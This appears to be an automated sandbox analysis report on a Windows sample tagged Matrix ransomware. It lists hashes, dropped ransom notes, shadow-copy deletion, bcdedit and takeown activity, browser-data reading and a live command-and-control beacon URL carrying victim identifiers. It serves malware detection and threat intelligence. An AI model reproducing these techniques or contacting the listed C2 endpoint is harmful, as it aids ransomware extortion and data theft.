matrix | c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4

Analysis

max time kernel
131s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-en-20220112
submitted
06-03-2022 03:43

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
Size

1.5MB
MD5

d53ccdb792739dd1371f0738160cb9de
SHA1

1a37f02936c5978b3f689ff05432ec21eccc76e8
SHA256

c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4
SHA512

9d0843abb5fa71177f9cbbb18846bcd1e26d90313017657eac7aadd63246f8ce0c3bd0122c0694b9f08d08d039785111480453cd70b29c5574baa3b1c6845e7c

Score

10^/10

matrix discovery evasion persistence ransomware spyware stealer suricata upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://myexternalip.com/raw

Signatures

Matrix Ransomware 64 IoCs

Targeted ransomware with information collection and encryption functionality.

ransomware matrix

Processes:

c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\Settings\#FOX_README#.rtf	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File created	C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\com.jrockit.mc.feature.rcp.zh_CN_5.5.0.165303\#FOX_README#.rtf	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File created	C:\Program Files\Java\jre1.8.0_66\bin\server\#FOX_README#.rtf	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File created	C:\Program Files\VideoLAN\VLC\locale\az\LC_MESSAGES\#FOX_README#.rtf	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File created	C:\Program Files\VideoLAN\VLC\locale\zu\LC_MESSAGES\#FOX_README#.rtf	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File created	C:\ProgramData\Microsoft\DiagnosticLogCSP\Collectors\#FOX_README#.rtf	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File created	C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\ha-Latn-NG\#FOX_README#.rtf	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File created	C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\sl\#FOX_README#.rtf	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File created	C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\en-US\#FOX_README#.rtf	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File created	C:\Users\All Users\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\ja-JP\#FOX_README#.rtf	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
HTTP URL	165	http://fredstat.000webhostapp.com/addrecord.php?apikey=fox_api_key&compuser=RIBCQUHQ\|Admin&sid=FWPpMDbNxWwaUfZP&phase=281ADC003C36098D\|3974\|2GB
File created	C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\p2\org.eclipse.equinox.p2.core\cache\binary\#FOX_README#.rtf	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File created	C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\#FOX_README#.rtf	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File created	C:\Program Files\Java\jre1.8.0_66\lib\management\#FOX_README#.rtf	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File created	C:\Program Files\VideoLAN\VLC\locale\be\LC_MESSAGES\#FOX_README#.rtf	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ca\LC_MESSAGES\#FOX_README#.rtf	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File created	C:\ProgramData\Microsoft\IdentityCRL\INT\#FOX_README#.rtf	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Protect\#FOX_README#.rtf	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File created	C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\fr-FR\#FOX_README#.rtf	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\#FOX_README#.rtf	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File created	C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\3kzncs28.default-release\storage\permanent\chrome\idb\#FOX_README#.rtf	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File created	C:\Program Files\VideoLAN\VLC\locale\hi\LC_MESSAGES\#FOX_README#.rtf	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File created	C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\#FOX_README#.rtf	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File created	C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\#FOX_README#.rtf	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB\#FOX_README#.rtf	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File created	C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\fa\#FOX_README#.rtf	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File created	C:\Program Files\Java\jdk1.8.0_66\jre\lib\images\cursors\#FOX_README#.rtf	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File created	C:\Program Files\VideoLAN\VLC\locale\oc\LC_MESSAGES\#FOX_README#.rtf	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File created	C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\#FOX_README#.rtf	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File created	C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.CallingShellApp_cw5n1h2txyewy\Settings\#FOX_README#.rtf	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File created	C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\#FOX_README#.rtf	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File created	C:\ProgramData\Package Cache\{ef6b00ec-13e1-4c25-9064-b2f383cb8412}\#FOX_README#.rtf	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File created	C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\bs-Latn-BA\#FOX_README#.rtf	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File created	C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{251390f3-8a11-4bb7-9240-8cea47d91ee4}\#FOX_README#.rtf	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\#FOX_README#.rtf	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File created	C:\Program Files\Java\jdk1.8.0_66\jre\lib\management\#FOX_README#.rtf	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File created	C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\ext\#FOX_README#.rtf	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File created	C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\modules\#FOX_README#.rtf	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File created	C:\Program Files\Java\jre1.8.0_66\lib\fonts\#FOX_README#.rtf	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File created	C:\Program Files\VideoLAN\VLC\locale\el\LC_MESSAGES\#FOX_README#.rtf	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ka\LC_MESSAGES\#FOX_README#.rtf	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File created	C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\ResiliencyLinks\MEIPreload\#FOX_README#.rtf	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File created	C:\ProgramData\Package Cache\{5740BD44-B58D-321A-AFC0-6D3D4556DD6C}v12.0.40660\packages\vcRuntimeAdditional_amd64\#FOX_README#.rtf	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File created	C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\adm\pl\#FOX_README#.rtf	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File created	C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\3kzncs28.default-release\cache2\entries\#FOX_README#.rtf	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File created	C:\Program Files\Google\Chrome\Application\89.0.4389.114\Extensions\#FOX_README#.rtf	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File created	C:\Program Files\Java\jdk1.8.0_66\include\win32\#FOX_README#.rtf	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File created	C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\wasm\#FOX_README#.rtf	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File created	C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\ContentManagementSDK\Creatives\314559\#FOX_README#.rtf	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File created	C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\Microsoft\CryptnetUrlCache\MetaData\#FOX_README#.rtf	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File created	C:\Users\Admin\AppData\Local\Packages\Microsoft.GetHelp_8wekyb3d8bbwe\Settings\#FOX_README#.rtf	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File created	C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\core\locale\#FOX_README#.rtf	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File created	C:\Program Files\VideoLAN\VLC\locale\en_GB\LC_MESSAGES\#FOX_README#.rtf	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File created	C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\xh-ZA\#FOX_README#.rtf	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File created	C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.153.55\#FOX_README#.rtf	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File created	C:\ProgramData\Package Cache\{61087a79-ac85-455c-934d-1fa22cc64f36}\#FOX_README#.rtf	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File created	C:\Users\Admin\AppData\Local\Packages\Microsoft.BingWeather_8wekyb3d8bbwe\Settings\#FOX_README#.rtf	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File created	C:\Users\Public\Documents\#FOX_README#.rtf	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File created	C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.ssl.feature_1.0.0.v20140827-1444\META-INF\#FOX_README#.rtf	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File created	C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\#FOX_README#.rtf	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File created	C:\Program Files\Java\jre1.8.0_66\lib\jfr\#FOX_README#.rtf	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ne\LC_MESSAGES\#FOX_README#.rtf	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File created	C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\qml\QtQuick\Controls\Styles\#FOX_README#.rtf	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File created	C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\314559\#FOX_README#.rtf	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe

suricata: ET MALWARE MSIL/Matrix Ransomware CnC Activity
suricata: ET MALWARE MSIL/Matrix Ransomware CnC Activity
suricata
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490
Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
ransomware evasion

Inhibit System Recovery
T1490

Processes:

bcdedit.exebcdedit.exe

pid process

3992 bcdedit.exe
3744 bcdedit.exe
Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

361 3388 powershell.exe
Drops file in Drivers directory 1 IoCs

Processes:

fioBxEuy64.exe

description ioc process

File created C:\Windows\system32\Drivers\PROCEXP152.SYS fioBxEuy64.exe

pid	process
3992	bcdedit.exe
3744	bcdedit.exe

flow	pid	process
361	3388	powershell.exe

description	ioc	process
File created	C:\Windows\system32\Drivers\PROCEXP152.SYS	fioBxEuy64.exe

Executes dropped EXE 64 IoCs

Processes:

NWJRweQX.exefioBxEuy.exefioBxEuy64.exefioBxEuy.exefioBxEuy.exefioBxEuy.exefioBxEuy.exefioBxEuy.exefioBxEuy.exefioBxEuy.exefioBxEuy.exefioBxEuy.exefioBxEuy.exefioBxEuy.exefioBxEuy.exefioBxEuy.exefioBxEuy.exefioBxEuy.exefioBxEuy.exefioBxEuy.exefioBxEuy.exefioBxEuy.exefioBxEuy.exefioBxEuy.exefioBxEuy.exefioBxEuy.exefioBxEuy.exefioBxEuy.exefioBxEuy.exefioBxEuy.exefioBxEuy.exefioBxEuy.exefioBxEuy.exefioBxEuy.exefioBxEuy.exefioBxEuy.exefioBxEuy.exefioBxEuy.exefioBxEuy.exefioBxEuy.exefioBxEuy.exefioBxEuy.exefioBxEuy.exefioBxEuy.exefioBxEuy.exefioBxEuy.exefioBxEuy.exefioBxEuy.exefioBxEuy.exefioBxEuy.exefioBxEuy.exefioBxEuy.exefioBxEuy.exefioBxEuy.exefioBxEuy.exefioBxEuy.exefioBxEuy.exefioBxEuy.exefioBxEuy.exefioBxEuy.exefioBxEuy.exefioBxEuy.exefioBxEuy.exefioBxEuy.exe

pid	process
3440	NWJRweQX.exe
1880	fioBxEuy.exe
1528	fioBxEuy64.exe
1552	fioBxEuy.exe
2132	fioBxEuy.exe
2380	fioBxEuy.exe
584	fioBxEuy.exe
4044	fioBxEuy.exe
3828	fioBxEuy.exe
4044	fioBxEuy.exe
2988	fioBxEuy.exe
3264	fioBxEuy.exe
3960	fioBxEuy.exe
1112	fioBxEuy.exe
1384	fioBxEuy.exe
4072	fioBxEuy.exe
876	fioBxEuy.exe
1152	fioBxEuy.exe
628	fioBxEuy.exe
3304	fioBxEuy.exe
940	fioBxEuy.exe
4020	fioBxEuy.exe
3556	fioBxEuy.exe
3308	fioBxEuy.exe
3196	fioBxEuy.exe
3232	fioBxEuy.exe
1208	fioBxEuy.exe
1912	fioBxEuy.exe
948	fioBxEuy.exe
2596	fioBxEuy.exe
400	fioBxEuy.exe
3308	fioBxEuy.exe
1436	fioBxEuy.exe
3264	fioBxEuy.exe
1420	fioBxEuy.exe
2132	fioBxEuy.exe
3240	fioBxEuy.exe
3112	fioBxEuy.exe
3888	fioBxEuy.exe
4068	fioBxEuy.exe
2132	fioBxEuy.exe
940	fioBxEuy.exe
2596	fioBxEuy.exe
2328	fioBxEuy.exe
2988	fioBxEuy.exe
3264	fioBxEuy.exe
3804	fioBxEuy.exe
1112	fioBxEuy.exe
2740	fioBxEuy.exe
3980	fioBxEuy.exe
2968	fioBxEuy.exe
940	fioBxEuy.exe
3304	fioBxEuy.exe
2684	fioBxEuy.exe
3780	fioBxEuy.exe
2380	fioBxEuy.exe
3340	fioBxEuy.exe
2988	fioBxEuy.exe
1208	fioBxEuy.exe
112	fioBxEuy.exe
3112	fioBxEuy.exe
3304	fioBxEuy.exe
3796	fioBxEuy.exe
280	fioBxEuy.exe

Sets service image path in registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 55 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe	upx
C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe	upx
C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe	upx
C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe	upx
C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe	upx
C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe	upx
C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe	upx
C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe	upx
C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe	upx
C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe	upx
C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe	upx
C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe	upx
C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe	upx
C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe	upx
C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe	upx
C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe	upx
C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe	upx
C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe	upx
C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe	upx
C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe	upx
C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe	upx
C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe	upx
C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe	upx
C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe	upx
C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe	upx
C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe	upx
C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe	upx
C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe	upx
C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe	upx
C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe	upx
C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe	upx
C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe	upx
C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe	upx
C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe	upx
C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe	upx
C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe	upx
C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe	upx
C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe	upx
C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe	upx
C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe	upx
C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe	upx
C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe	upx
C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe	upx
C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe	upx
C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe	upx
C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe	upx
C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe	upx
C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe	upx
C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe	upx
C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe	upx
C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe	upx
C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe	upx
C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe	upx
C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe	upx
C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe	upx

Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

wscript.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-790714498-1549421491-1643397139-1000\Control Panel\International\Geo\Nation wscript.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-790714498-1549421491-1643397139-1000\Control Panel\International\Geo\Nation	wscript.exe

Modifies file permissions 1 TTPs 64 IoCs

discovery

File and Directory Permissions Modification

T1222

Processes:

takeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exe

pid	process
3460	takeown.exe
3104	takeown.exe
1200	takeown.exe
208	takeown.exe
1932	takeown.exe
1932	takeown.exe
360	takeown.exe
3232	takeown.exe
3524	takeown.exe
3744	takeown.exe
272	takeown.exe
2972	takeown.exe
3164	takeown.exe
2328	takeown.exe
2976	takeown.exe
292
1420	takeown.exe
3924	takeown.exe
3312	takeown.exe
1552	takeown.exe
208	takeown.exe
1096	takeown.exe
1512	takeown.exe
2092	takeown.exe
3844	takeown.exe
2856	takeown.exe
3992	takeown.exe
3780	takeown.exe
3172	takeown.exe
2132	takeown.exe
3632	takeown.exe
1796	takeown.exe
112	takeown.exe
2484	takeown.exe
3760	takeown.exe
3796	takeown.exe
940	takeown.exe
4080	takeown.exe
2988	takeown.exe
2484	takeown.exe
1680	takeown.exe
948	takeown.exe
3844	takeown.exe
3164	takeown.exe
2680	takeown.exe
1120	takeown.exe
3840	takeown.exe
3332	takeown.exe
4052	takeown.exe
1568	takeown.exe
1120	takeown.exe
360	takeown.exe
2196	takeown.exe
2328	takeown.exe
284	takeown.exe
2380	takeown.exe
1212	takeown.exe
3844	takeown.exe
2536	takeown.exe
3796	takeown.exe
1420	takeown.exe
2360	takeown.exe
2964	takeown.exe
4080	takeown.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Drops desktop.ini file(s) 27 IoCs

Processes:

c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe

description	ioc	process
File opened for modification	C:\Users\Admin\3D Objects\desktop.ini	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened for modification	C:\Users\Public\AccountPictures\desktop.ini	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened for modification	C:\Users\Public\Videos\desktop.ini	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened for modification	C:\Users\Admin\Pictures\desktop.ini	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened for modification	C:\Users\Admin\Contacts\desktop.ini	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened for modification	C:\Users\Admin\Favorites\desktop.ini	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened for modification	C:\Users\Admin\Favorites\Links\desktop.ini	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened for modification	C:\Users\Admin\Music\desktop.ini	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened for modification	C:\Users\Admin\Pictures\Saved Pictures\desktop.ini	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened for modification	C:\Users\Public\Libraries\desktop.ini	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened for modification	C:\Users\Admin\Documents\desktop.ini	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened for modification	C:\Users\Public\Music\desktop.ini	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened for modification	C:\Users\Admin\Saved Games\desktop.ini	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened for modification	C:\Users\Admin\Pictures\Camera Roll\desktop.ini	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened for modification	C:\Users\Admin\Downloads\desktop.ini	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened for modification	C:\Users\Admin\Videos\desktop.ini	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened for modification	C:\Program Files\desktop.ini	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened for modification	C:\Users\Admin\Desktop\desktop.ini	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened for modification	C:\Users\Public\desktop.ini	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened for modification	C:\Users\Public\Documents\desktop.ini	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened for modification	C:\Program Files (x86)\desktop.ini	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened for modification	C:\Users\Public\Downloads\desktop.ini	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened for modification	C:\Users\Public\Desktop\desktop.ini	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened for modification	C:\Users\Public\Pictures\desktop.ini	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened for modification	C:\Users\Admin\Links\desktop.ini	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened for modification	C:\Users\Admin\OneDrive\desktop.ini	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened for modification	C:\Users\Admin\Searches\desktop.ini	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

